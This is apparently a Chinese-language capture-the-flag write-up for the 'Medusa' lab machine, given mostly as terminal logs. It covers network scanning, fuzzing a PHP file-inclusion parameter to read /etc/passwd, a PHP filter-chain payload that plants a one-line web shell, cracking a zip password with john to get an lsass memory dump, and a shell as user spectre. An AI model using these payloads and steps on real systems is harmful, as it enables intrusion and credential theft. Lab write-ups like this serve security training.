❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.200 08:00:27:83:be:4d PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e3:9f:ef VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.082 seconds (122.96 hosts/sec). 4 responded ❯ export ip=192.168.60.200 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Nmap? More like slowmap.🐢 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.200:22 Open 192.168.60.200:21 Open 192.168.60.200:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 14:16 CST Initiating ARP Ping Scan at 14:16 Scanning 192.168.60.200 [1 port] Completed ARP Ping Scan at 14:16, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:16 Completed Parallel DNS resolution of 1 host. at 14:16, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:16 Scanning 192.168.60.200 [3 ports] Discovered open port 80/tcp on 192.168.60.200 Discovered open port 22/tcp on 192.168.60.200 Discovered open port 21/tcp on 192.168.60.200 Completed SYN Stealth Scan at 14:16, 0.03s elapsed (3 total ports) Nmap scan report for 192.168.60.200 Host is up, received arp-response (0.00050s latency). Scanned at 2025-02-22 14:16:27 CST for 0s
PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:83:BE:4D (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
<title>Medusa</title> </head> <body> <h1 class="h1">The myth of Medusa: the deadly Gorgon</h1> <div class="center"> <img class="img" width="430px" src="assets/medusa.jpg" alt="medusa"> </div>
<p class="p">In Greek mythology "medusa" means guardian or protector, and is one of the three gorgons that lived in the underworld. Her main characteristic is that she could turn into stone anyone who was reached by her gaze. Medusa, Steno and Euryale, were monsters, gorgons of Greek mythology, who were born from the primordial sea god, Forcis, and Ceto, an aquatic monster. Humans and gods feared them, as the snakes in their hair, their long fangs and claws, complemented a rather frightening appearance. The gorgons Steno and Euryale were immortal. Medusa was the only mortal and, at the same time, she was the most beautiful. It is said that her power of petrification was given to her as protection, since she was mortal. There are several versions of the gorgon myth... One of them is that she was a monster from birth. Another version of why Medusa went from being a beautiful mortal to being a monster like her sisters is that of Ovid. He tells that Medusa was a very beautiful young woman, a priestess in a temple of Athena. She was so beautiful that Poseidon fell in love with her and ended up raping her in the temple. This made Athena, the goddess of wisdom, furious, so she decided to turn her into a monster like her sisters. The curse of turning anyone who saw her into stone was a punishment for breaking her vow of celibacy, and for "seducing" Poseidon in his temple. 在希腊神话中，“美杜莎”意味着守护者或保护者，是生活在地底世界的三个蛇发女妖之一。她的主要特征是，任何被她凝视到的人都会变成石头。 美杜莎、斯特诺和尤里亚勒是希腊神话中的怪物、女妖，他们出生于原始海神福尔西斯和水怪刻托之间。人类和众神都害怕她们，因为她们头发上的毒蛇、长长的獠牙和爪子使得她们看起来非常可怕。 斯特诺和尤里亚勒是不朽的。美杜莎是唯一一个凡人，并且同时也是最美丽的。据说她具有石化能力作为自我保护，因为她本身就是凡人。 关于女妖传说有许多版本...其中之一认为她从出生开始就是一个怪物。另一个版本解释了为什么美杜莎从一个漂亮的凡人变成了像姐妹那样恐怖的怪物，这个版本由欧维德提供。 他讲述了美杜莎曾经是一个非常漂亮年轻女子，在雅典娜庙中担任祭司。 她如此迷人以至于波塞冬爱上了她，并最终在寺庙里强暴了她。 这激怒了智慧女神雅典娜, 所以决定将其变成像姐妹那样恶魔般形象. 将任何看见过自己 的 人 石化 是对打破贞洁誓言 和 在他 的 寺 庙 “ 引诱 ” 波赛顿 的 惩罚 。 </p> </body> </html>
❯ wfuzz -c -u "http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt --hw 0 --hc 404 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd Total requests: 26584 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000245: 200 27 L 40 W 1452 Ch "view" 000007399: 200 0 L 0 W 0 Ch "members-area" Total time: 0 Processed Requests: 7397 Filtered Requests: 7396 Requests/sec.: 0
拿到用户spectre
1 2 3 4 5 6 7 8 9 10 11
❯ curl http://dev.medusa.hmv/files/system.php\?view\=/etc/passwd |grep /bin/bahs % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1452 100 1452 0 0 683k 0 --:--:-- --:--:-- --:--:-- 1417k ❯ curl http://dev.medusa.hmv/files/system.php\?view\=/etc/passwd |grep /bin/bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1452 100 1452 0 0 599k 0 --:--:-- --:--:-- --:--:-- 708k root:x:0:0:root:/root:/bin/bash spectre:x:1000:1000:spectre,,,:/home/spectre:/bin/bash
❯ python3 php_filter_chain_generator.py -help usage: php_filter_chain_generator.py [-h] [--chain CHAIN] [--rawbase64 RAWBASE64] php_filter_chain_generator.py: error: argument -h/--help: ignored explicit argument 'elp' ❯ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>' [+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/Pg) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
访问后果然注入了phpinfo的代码
看一下有没有ban掉一些functions功能
既然没有尝试写个一句话木马<?=`$_GET[0]`?>
直接弹个shell过来
1 2 3 4
❯ python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>' [+] The following gadget chain will generate the following code : <?=`$_GET[0]`?> (base64 value: PD89YCRfR0VUWzBdYD8+) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
❯ x old_files.zip extract: extracting to old_files Archive: /home/Pepster/hmv/old_files.zip skipping: lsass.DMP need PK compat. v5.1 (can do v4.6) ❯ zip2john old_files.zip >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Cost 1 (HMAC size) is 12386830 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status medusa666 (old_files.zip/lsass.DMP) 1g 0:00:00:49 DONE (2025-02-22 17:02) 0.02040g/s 115523p/s 115523c/s 115523C/s megan0308..medabe15 Use the "--show" option to display all of the cracked passwords reliably Session completed. ❯ 7z x old_files.zip
Scanning the drive for archives: 1 file, 12387024 bytes (12 MiB)
Extracting archive: old_files.zip -- Path = old_files.zip Type = zip Physical Size = 12387024
Would you like to replace the existing file: Path: ./lsass.DMP Size: 34804383 bytes (34 MiB) Modified: 2023-01-17 22:12:41 with the file from archive: Path: lsass.DMP Size: 34804383 bytes (34 MiB) Modified: 2023-01-17 22:12:41 ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y
Enter password (will not be echoed): Everything is Ok
Size: 34804383 Compressed: 12387024
拿到一个dump文件，但这个文件咋打开啊？
看了下文件信息是小型的奔溃报告
1 2 3
❯ file lsass.DMP lsass.DMP: Mini DuMP crash report, 12 streams, Tue Jan 17 14:08:32 2023, 0x1826 type
spectre@medusa:~$ id uid=1000(spectre) gid=1000(spectre) groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
